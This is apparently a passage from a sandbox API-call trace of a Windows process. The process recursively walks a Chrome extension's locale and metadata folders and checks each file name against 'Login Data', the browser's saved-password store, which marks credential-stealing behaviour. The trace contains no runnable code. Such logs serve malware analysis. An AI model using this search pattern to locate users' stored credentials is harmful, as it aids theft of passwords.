lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.310] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.310] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.311] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.311] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.311] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.311] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.311] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.311] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.311] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.311] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.311] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.311] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.311] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.311] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.312] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.312] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.312] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.312] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.312] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.312] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.312] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.312] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.312] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.312] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.312] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.313] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.313] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.313] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.313] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.313] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.313] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.313] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.313] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.313] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.313] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.313] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.314] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.314] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.314] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.314] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.314] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.314] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.314] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.314] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.314] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.314] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.315] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.315] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.315] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.315] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.315] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.315] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.315] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.316] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.316] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.316] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.316] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.316] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.316] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.316] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.316] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.316] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.316] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.317] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.317] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.317] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.317] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.317] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.317] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.317] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.317] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.317] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.317] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.317] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.318] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.318] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.318] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.318] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.318] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.318] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.318] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.318] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.318] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.318] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.318] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.318] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.319] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.319] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.319] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.319] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.319] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.319] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.319] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.319] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.319] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.319] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.320] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.320] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.320] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.320] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.320] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.320] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.320] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.320] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.322] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.322] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.322] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.322] LocalFree (hMem=0x6525c0) returned 0x0 [0079.322] LocalFree (hMem=0x6524b8) returned 0x0 [0079.322] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.322] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0079.322] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0079.322] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0079.322] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0079.323] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" [0079.323] LocalFree (hMem=0x6523b0) returned 0x0 [0079.323] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0079.323] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" [0079.323] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*" [0079.323] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.324] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.324] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.324] LocalFree (hMem=0x6525c0) returned 0x0 [0079.324] LocalFree (hMem=0x6524b8) returned 0x0 [0079.324] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.324] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0079.324] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0079.324] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0079.324] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0079.324] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" [0079.324] LocalFree (hMem=0x6523b0) returned 0x0 [0079.324] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0079.324] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" [0079.324] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*" [0079.324] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.324] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.324] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.324] LocalFree (hMem=0x6525c0) returned 0x0 [0079.324] LocalFree (hMem=0x6524b8) returned 0x0 [0079.324] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.324] LocalFree (hMem=0x6522a8) returned 0x0 [0079.325] LocalFree (hMem=0x650750) returned 0x0 [0079.325] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x650650 [0079.325] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0079.325] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0079.325] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x650750 [0079.325] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0079.325] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" [0079.325] LocalFree (hMem=0x650650) returned 0x0 [0079.325] LocalAlloc (uFlags=0x40, uBytes=0xff) returned 0x6522a8 [0079.325] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" [0079.325] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*" [0079.325] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.325] StrStrIA 